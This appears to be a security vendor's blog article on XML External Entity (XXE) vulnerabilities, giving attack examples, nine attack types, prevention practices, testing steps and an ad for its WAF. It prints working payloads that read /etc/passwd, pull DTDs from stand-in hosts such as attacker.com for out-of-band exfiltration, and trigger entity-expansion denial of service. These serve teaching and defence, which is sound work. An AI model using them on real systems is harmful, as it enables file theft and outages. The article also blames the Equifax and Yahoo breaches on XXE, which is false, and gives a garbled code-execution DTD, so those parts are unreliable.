What is XML External Entity, How to Find XXE Vulnerabilities and Patch Them
What is XML External Entity (XXE) Vulnerability?
An XXE vulnerability is a security vulnerability that allows attackers to access sensitive data or execute malicious code in a web application. This happens when the application accepts XML input from an untrusted source and doesn’t properly validate it.
An attacker can exploit this vulnerability by crafting a special XML input that includes a reference to an external resource (like a file or URL) that they control.
Suppose the application consists of this input in its processing without properly checking it. In that case, the attacker can manipulate the behavior of the XML parser and potentially execute arbitrary code or access sensitive data.
For example, an attacker could create an XML input containing a reference to a server file containing sensitive data, like a password file. By executing an XXE attack, the attacker could gain access to the file’s contents and retrieve critical information, posing significant security risks to the application.
An Example of XXE Attack
Suppose an application accepts XML input from untrusted sources and uses an XML parser that supports external entities. The application parses an XML file containing user input and returns the results to the user.
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM “file:///etc/passwd”>
]>
<foo>&xxe;</foo>
In this XXE example, the XML input defines an external entity “xxe” that points to a local file “/etc/passwd” on the server.
When the XML parser encounters the “xxe” entity reference, it retrieves the local file’s contents and includes it in the parsed XML document. The attacker can then use this technique to read sensitive data stored in the file, such as usernames and passwords.
Alternatively, the attacker can use the following payload to execute arbitrary code on the server:
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM “http://acme.com/payload.dtd”>
]>
<foo>&xxe;</foo>
In this example, the XML input defines an external entity “xxe” that points to a remote document type definition (DTD) file “http://acme.com/payload.dtd” controlled by the attacker. The DTD file includes a parameter entity that defines a command to execute arbitrary code on the server, such as:
<!ENTITY % remote SYSTEM “http://acme.com/malware.bin”>
<!ENTITY % cmd “<!ENTITY %#x25; error SYSTEM ‘file:///dev/null’>%#x25;error”>
When the XML parser encounters the “xxe” entity reference, it retrieves the contents of the remote DTD file and includes the code in the parsed XML document.
The parser then expands the parameter entity defined in the DTD file, which results in the execution of the arbitrary code defined in the “cmd” entity. The attacker can use this technique to take control of the server and perform malicious activities, such as stealing sensitive data or launching further attacks.
High Profile XXE Hacks
There have been several high-profile breaches over the years that were caused by XXE attacks. Here are some examples:
Equifax: In 2017, Equifax suffered a massive data breach affecting over 143 million consumers. The attackers exploited an XXE vulnerability in an Equifax web application to access sensitive data, including names, Social Security numbers, birth dates, addresses, and driver’s license numbers.
PayPal: In 2015, a researcher named Theori Hakkers used an XXE vulnerability in PayPal’s Secure Payments API to steal OAuth tokens and access the accounts of PayPal users. The vulnerability was patched by PayPal shortly after it was discovered.
GoDaddy: In 2020, a security researcher named Dylan Saccomanni discovered an XXE vulnerability in GoDaddy’s hosting services that could allow an attacker to access sensitive data, including configuration files, environment variables, and secrets. GoDaddy quickly patched the vulnerability after it was reported.
Yahoo: In 2016, Yahoo disclosed a massive data breach affecting over 1 billion user accounts. The breach was caused by an XXE vulnerability in Yahoo’s email service that allowed the attackers to steal sensitive data, including names, email addresses, dates of birth, and encrypted passwords.
9 Most Common Types of XXE Attacks
Attackers can use several types of External XML Entity attacks to exploit vulnerabilities in XML parsers. Here are some of the most common types of XXE attacks:
1. External Entity Injection: In this type, an attacker injects malicious XML content containing external entities into an XML input field. These entities are then processed by the XML parser, allowing the attacker to read sensitive files, conduct SSRF (Server-Side Request Forgery) attacks, or execute arbitrary code.
External Entity Injection: <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
2. Parameter Entity Injection: Parameter entity injection occurs when an attacker manipulates parameter entities within the Document Type Definition (DTD) of an XML document. By injecting malicious entities, attackers can achieve outcomes similar to those achieved with external entity injection, such as reading files or executing code.
Parameter Entity Injection: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "file:///etc/passwd">]>
3. Blind XXE: In blind XXE attacks, the attacker does not receive direct feedback about the existence or content of the files being accessed. Instead, the attacker leverages timing or error-based techniques to infer the attack’s success. Blind XXE attacks are often used when direct retrieval of sensitive data is impossible.
Blind XXE: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com">]>
4. DTD (Document Type Definition) Manipulation: Attackers can manipulate the DTD to introduce or modify entities, allowing them to control how the XML document is processed. By crafting a malicious DTD, attackers can achieve various goals, including information disclosure, SSRF, and code execution.
DTD Manipulation: <!DOCTYPE foo SYSTEM "http://attacker.com/evil.dtd">
5. Out-of-Band (OOB) XXE: Out-of-Band XXE attacks leverage the ability of the attacker to send data out-of-band, typically over DNS or HTTP, to exfiltrate sensitive information from the target system. This approach is useful when direct data retrieval is impossible due to network restrictions or other limitations.
Out-of-Band (OOB) XXE: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/dtd.dtd">]>
6. Entity Expansion: In this type of attack, the attacker creates many nested entities in the XML document, causing the XML parser to consume a large amount of memory, potentially leading to a denial of service (DoS)condition.
Entity Expansion: <!DOCTYPE foo [<!ENTITY x "&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;">]>
7. XXE via File Upload: If an application accepts XML files for upload and processes them without proper validation, attackers can upload malicious XML files containing XXE payloads. Upon processing, these payloads can trigger XXE vulnerabilities in the application.
XXE via File Upload: <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
8. XPath Injection: XPath is a query language that extracts data from XML documents. In this attack, the attacker injects malicious XPath queries into the XML document, allowing them to extract sensitive data or execute arbitrary code.
XPath Injection: </root><!DOCTYPE test [ <!ENTITY % xxe SYSTEM "file:///etc/passwd"> %xxe; ]>
9. XXE in SOAP Web Services: XML-based SOAP web services are also susceptible to XXE attacks. Attackers can inject malicious XML payloads into SOAP requests, exploiting XXE vulnerabilities in the server-side XML processing logic.
XXE in SOAP Web Services: <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
XML External Entities Prevention Best Practices
Preventing XML External Entity attacks requires a combination of secure coding practices, proper configuration, and ongoing vigilance. Here are some best practices to help mitigate the risk of XXE vulnerabilities:
Input Validation and Sanitization
- Validate and sanitize all user-supplied XML input to ensure it does not contain malicious content.
- Use whitelisting approaches to only allow known safe XML structures, elements, and attributes.
Disable External Entity Processing
- Configure XML parsers to disable external entity processing, as it’s often unnecessary for most applications.
- Set appropriate flags or options in XML parsing libraries to reject external entities.
Java: Disable external entity processing in DocumentBuilderFactory: factory.setFeature(“http://xml.org/sax/features/external-general-entities”, false);
.NET: Set XmlReaderSettings to prohibit DTD processing: settings.ProhibitDtd = true;
PHP: Disable entity loading with libxml_disable_entity_loader: libxml_disable_entity_loader(true);
Use Safe XML Parsers
- Preferentially use modern XML parsing libraries and frameworks with built-in protections against XXE attacks.
- Regularly update XML parsing libraries to ensure they include security patches for known vulnerabilities.
Implement Proper Access Controls
- Restrict access to sensitive resources and ensure that XML parsing operations are performed with the least privileges necessary.
- Use strong authentication and authorization mechanisms to control access to XML-related functionalities.
Secure Configuration
- Configure web servers, XML processors, and related components securely by disabling unnecessary features and limiting exposure to attack surfaces.
- Follow security best practices provided by the developers of XML parsers and related technologies.
Use Content Security Policies (CSP)
- Implement Content Security Policies (CSP) to control which external resources (such as DTDs) can be loaded by web applications.
- Enforce strict policies to prevent the loading of external entities from untrusted sources.
Regular Security Testing
- Conduct regular security assessments, including vulnerability scanning and penetration testing, to identify and remediate XXE vulnerabilities.
- Utilize automated tools and manual testing techniques to detect and validate XXE vulnerabilities in applications and systems.
Educate Developers and Staff
- Train developers, administrators, and other personnel on the risks associated with XXE attacks and how to implement secure coding practices.
- Foster a security-aware culture within the organization to promote proactive identification and mitigation of XXE vulnerabilities.
Monitor and Log Activity
- Implement logging and monitoring mechanisms to detect suspicious XML parsing activity, such as unexpected external entity declarations or excessive resource consumption.
- Monitor web server logs, application logs, and network traffic for signs of XXE attacks or attempted exploitation.
How to Test for XML External Entity Vulnerabilities?
Here are some steps you can follow to test for XXE vulnerabilities:
Use automated tools
Use automated tools such as the Indusface WAS to scan the web application for XXE vulnerabilities.
Identify the XML parser
Determine which XML parser is used by the application or system being tested. Different parsers may have different vulnerabilities and configuration options.
Conduct Penetration Testing
While this could be done in-house, you could leverage the Indusface WAS Premium plan that bundles annual pen testing and revalidation of the reports with the automated scanner. Here are the test cases that you should consider including in penetration testing:
Submit a test payload: Submit a test payload that includes an external entity reference to the application or system being tested. If the application or system responds with data from the external entity, it is likely vulnerable to XXE attacks.
Submit a malicious payload: Submit a payload that includes a malicious external entity to the tested application or system. This may include a payload that tries to read sensitive files or execute arbitrary code on the system.
Check for error messages: Check for error messages or other indicators that the XML parser processed the payload. The application or system is likely vulnerable to XXE attacks if the payload is processed without error.
Test for blind XXE: Blind XXE attacks involve using out-of-band channels to retrieve sensitive data. Test for blind XXE by submitting a payload with a URL or other external reference and check if the system requests the external resource.
It’s important to note that testing for XXE or any other vulnerabilities is an ongoing process, and vulnerabilities may be introduced as the web application evolves. We recommend scanning applications every month at a minimum and a penetration testing effort every six months for XXE mitigation.
How Does One Patch an XXE Vulnerability?
Once you use the above steps to find XXE vulnerability, here are some methods to patch the vulnerabilities:
Upgrade the XML parser: If the XML parser being used by the application or system is known to be vulnerable to XXE attacks, upgrade to a more secure version of the parser. Some parsers have options to disable external entity processing, which can help prevent XXE attacks.
Sanitize user input: To prevent malicious input from being included in XML documents, validate, and sanitize all user input before including it in an XML document.
Implement access controls:Implement access controls to limit access to sensitive resources and prevent unauthorized access. This can help mitigate the impact of XXE attacks.
Monitor for suspicious activity: Monitor the application or system for suspicious activity, such as attempts to access sensitive files or execute arbitrary code. This can help find XXE attacks in real-time.
As with the vulnerability detection process, the vulnerability patching must be continuous. With dedicated sprints for patching, you will always be on top of open vulnerabilities that your automated scanners and pen testers find.
How Does AppTrana Cloud WAF Block XXE Attacks?
While it is good to have a regular patching process, sometimes the developers cannot patch the vulnerability as it might exist in a third-party code or plug-in they use in the source code.
Virtually patching these vulnerabilities on the WAF will protect the application while the developers wait for the third party to issue a patch.
Here are some ways in which AppTrana WAF protects you against XXE attacks.
Signature-based detection: AppTrana compares incoming XML payloads to a comprehensive database of known XXE payloads and blocks any that match.
Protocol validation: AppTrana performs protocol validation to ensure incoming XML documents conform to the expected XML schema or DTD. If the document does not conform to the schema or DTD, the request is blocked as an attack.
Input validation: Automate input validation on AppTrana to ensure that incoming user input is properly formatted and does not contain malicious XML payloads. The WAF can check for common XXE payloads and block any requests that have them.
Parameterized queries: AppTrana mandates parameterized queries to prevent XXE attacks in database queries. By separating user input from the query string, the WAF can prevent malicious XML payloads from being included in database queries.
XML parsing protection: XML parsing protection is on by default in AppTrana. This disables external entity processing in the XML parser, thereby thwarting XXE attacks.
Stay tuned for more relevant and interesting security articles. Follow Indusface on Facebook, Twitter, and LinkedIn.